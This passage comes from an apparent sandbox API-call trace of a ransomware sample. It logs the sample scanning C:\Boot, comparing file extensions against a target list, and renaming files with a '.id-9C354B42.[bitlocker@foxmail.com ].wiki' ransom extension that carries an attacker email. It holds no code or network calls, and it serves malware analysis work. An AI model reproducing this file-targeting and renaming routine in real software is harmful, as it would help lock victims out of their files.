lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0043.138] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.138] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=94800) returned 1 [0043.138] CloseHandle (hObject=0x164) returned 1 [0043.138] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0043.138] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.138] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.138] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0043.138] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0043.138] lstrlenW (lpString=".doc") returned 4 [0043.138] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.138] lstrlenW (lpString=".docx") returned 5 [0043.138] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.139] lstrlenW (lpString=".pdf") returned 4 [0043.139] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.139] lstrlenW (lpString=".xls") returned 4 [0043.139] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.139] lstrlenW (lpString=".xlsx") returned 5 [0043.139] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.139] lstrlenW (lpString=".ppt") returned 4 [0043.139] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.139] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0043.139] lstrlenW (lpString=".zip") returned 4 [0043.139] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.139] lstrlenW (lpString=".rar") returned 4 [0043.139] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.139] lstrlenW (lpString=".bz2") returned 4 [0043.139] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.139] lstrlenW (lpString=".7z") returned 3 [0043.139] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.139] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0043.139] lstrlenW (lpString=".dbf") returned 4 [0043.139] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.139] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0043.139] lstrlenW (lpString=".1cd") returned 4 [0043.139] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.139] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0043.139] lstrlenW (lpString=".jpg") returned 4 [0043.139] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.139] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0043.139] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0043.139] lstrlenW (lpString=".doc") returned 4 [0043.139] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.139] lstrlenW (lpString=".docx") returned 5 [0043.139] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.139] lstrlenW (lpString=".pdf") returned 4 [0043.139] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.139] lstrlenW (lpString=".xls") returned 4 [0043.140] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.140] lstrlenW (lpString=".xlsx") returned 5 [0043.140] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.140] lstrlenW (lpString=".ppt") returned 4 [0043.140] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.140] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0043.140] lstrlenW (lpString=".zip") returned 4 [0043.140] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.140] lstrlenW (lpString=".rar") returned 4 [0043.140] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.140] lstrlenW (lpString=".bz2") returned 4 [0043.140] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.140] lstrlenW (lpString=".7z") returned 3 [0043.140] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.140] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0043.140] lstrlenW (lpString=".dbf") returned 4 [0043.140] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.140] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0043.140] lstrlenW (lpString=".1cd") returned 4 [0043.140] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.140] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0043.140] lstrlenW (lpString=".jpg") returned 4 [0043.140] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.140] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0043.140] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0043.140] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.140] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=85056) returned 1 [0043.141] CloseHandle (hObject=0x164) returned 1 [0043.141] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0043.141] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.141] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.141] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0043.141] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0043.141] lstrlenW (lpString=".doc") returned 4 [0043.141] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.141] lstrlenW (lpString=".docx") returned 5 [0043.141] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.141] lstrlenW (lpString=".pdf") returned 4 [0043.141] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.141] lstrlenW (lpString=".xls") returned 4 [0043.141] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.141] lstrlenW (lpString=".xlsx") returned 5 [0043.141] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.141] lstrlenW (lpString=".ppt") returned 4 [0043.141] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.141] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0043.141] lstrlenW (lpString=".zip") returned 4 [0043.141] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.141] lstrlenW (lpString=".rar") returned 4 [0043.141] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.141] lstrlenW (lpString=".bz2") returned 4 [0043.141] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.141] lstrlenW (lpString=".7z") returned 3 [0043.141] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.141] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0043.141] lstrlenW (lpString=".dbf") returned 4 [0043.142] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.142] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0043.142] lstrlenW (lpString=".1cd") returned 4 [0043.142] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.142] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0043.142] lstrlenW (lpString=".jpg") returned 4 [0043.142] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.142] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0043.142] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0043.142] lstrlenW (lpString=".doc") returned 4 [0043.142] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.142] lstrlenW (lpString=".docx") returned 5 [0043.142] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.142] lstrlenW (lpString=".pdf") returned 4 [0043.142] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.142] lstrlenW (lpString=".xls") returned 4 [0043.142] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.142] lstrlenW (lpString=".xlsx") returned 5 [0043.142] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.142] lstrlenW (lpString=".ppt") returned 4 [0043.142] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.142] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0043.142] lstrlenW (lpString=".zip") returned 4 [0043.142] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.142] lstrlenW (lpString=".rar") returned 4 [0043.142] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.142] lstrlenW (lpString=".bz2") returned 4 [0043.142] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.142] lstrlenW (lpString=".7z") returned 3 [0043.142] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.142] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0043.142] lstrlenW (lpString=".dbf") returned 4 [0043.142] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.142] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0043.142] lstrlenW (lpString=".1cd") returned 4 [0043.143] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.143] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0043.143] lstrlenW (lpString=".jpg") returned 4 [0043.143] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.143] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0043.143] lstrlenW (lpString="memtest.exe.mui") returned 15 [0043.143] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.143] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=43600) returned 1 [0043.143] CloseHandle (hObject=0x164) returned 1 [0043.143] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0043.143] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.143] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.143] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0043.143] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0043.143] lstrlenW (lpString=".doc") returned 4 [0043.143] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.143] lstrlenW (lpString=".docx") returned 5 [0043.143] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.143] lstrlenW (lpString=".pdf") returned 4 [0043.144] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.144] lstrlenW (lpString=".xls") returned 4 [0043.144] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.144] lstrlenW (lpString=".xlsx") returned 5 [0043.144] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.144] lstrlenW (lpString=".ppt") returned 4 [0043.144] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.144] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0043.144] lstrlenW (lpString=".zip") returned 4 [0043.144] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.144] lstrlenW (lpString=".rar") returned 4 [0043.144] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.144] lstrlenW (lpString=".bz2") returned 4 [0043.144] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.144] lstrlenW (lpString=".7z") returned 3 [0043.144] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.144] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0043.144] lstrlenW (lpString=".dbf") returned 4 [0043.144] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.144] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0043.144] lstrlenW (lpString=".1cd") returned 4 [0043.144] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.144] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0043.144] lstrlenW (lpString=".jpg") returned 4 [0043.144] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.144] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0043.144] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0043.144] lstrlenW (lpString=".doc") returned 4 [0043.144] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.144] lstrlenW (lpString=".docx") returned 5 [0043.144] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.144] lstrlenW (lpString=".pdf") returned 4 [0043.144] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.144] lstrlenW (lpString=".xls") returned 4 [0043.144] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.145] lstrlenW (lpString=".xlsx") returned 5 [0043.145] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.145] lstrlenW (lpString=".ppt") returned 4 [0043.145] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.145] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0043.145] lstrlenW (lpString=".zip") returned 4 [0043.145] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.145] lstrlenW (lpString=".rar") returned 4 [0043.145] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.145] lstrlenW (lpString=".bz2") returned 4 [0043.145] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.145] lstrlenW (lpString=".7z") returned 3 [0043.145] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.145] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0043.145] lstrlenW (lpString=".dbf") returned 4 [0043.145] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.145] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0043.145] lstrlenW (lpString=".1cd") returned 4 [0043.145] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.145] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0043.145] lstrlenW (lpString=".jpg") returned 4 [0043.145] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.145] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0043.145] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0043.145] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.145] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=90192) returned 1 [0043.145] CloseHandle (hObject=0x164) returned 1 [0043.146] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0043.146] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.146] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.146] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0043.146] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0043.146] lstrlenW (lpString=".doc") returned 4 [0043.146] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.146] lstrlenW (lpString=".docx") returned 5 [0043.146] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.146] lstrlenW (lpString=".pdf") returned 4 [0043.146] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.146] lstrlenW (lpString=".xls") returned 4 [0043.146] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.146] lstrlenW (lpString=".xlsx") returned 5 [0043.146] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.146] lstrlenW (lpString=".ppt") returned 4 [0043.146] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.146] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0043.146] lstrlenW (lpString=".zip") returned 4 [0043.146] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.146] lstrlenW (lpString=".rar") returned 4 [0043.146] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.146] lstrlenW (lpString=".bz2") returned 4 [0043.146] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.146] lstrlenW (lpString=".7z") returned 3 [0043.146] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.149] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=89152) returned 1 [0043.149] CloseHandle (hObject=0x164) returned 1 [0043.149] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0043.149] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.149] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.149] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3694080) returned 1 [0043.149] CloseHandle (hObject=0x164) returned 1 [0043.149] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0043.149] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.149] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0043.156] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3876772) returned 1 [0043.156] CloseHandle (hObject=0x164) returned 1 [0043.156] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0043.156] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.156] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0043.156] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2371360) returned 1 [0043.156] CloseHandle (hObject=0x164) returned 1 [0043.156] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0043.156] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.156] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0043.157] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=47452) returned 1 [0043.157] CloseHandle (hObject=0x164) returned 1 [0043.157] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0043.157] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.157] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.157] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=93248) returned 1 [0043.157] CloseHandle (hObject=0x164) returned 1 [0043.157] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0043.157] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.157] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.157] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=90688) returned 1 [0043.158] CloseHandle (hObject=0x164) returned 1 [0043.158] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0043.158] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.158] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.158] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=90704) returned 1 [0043.158] CloseHandle (hObject=0x164) returned 1 [0043.158] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0043.158] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.158] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.158] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=76352) returned 1 [0043.158] CloseHandle (hObject=0x164) returned 1 [0043.158] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0043.159] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.159] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), 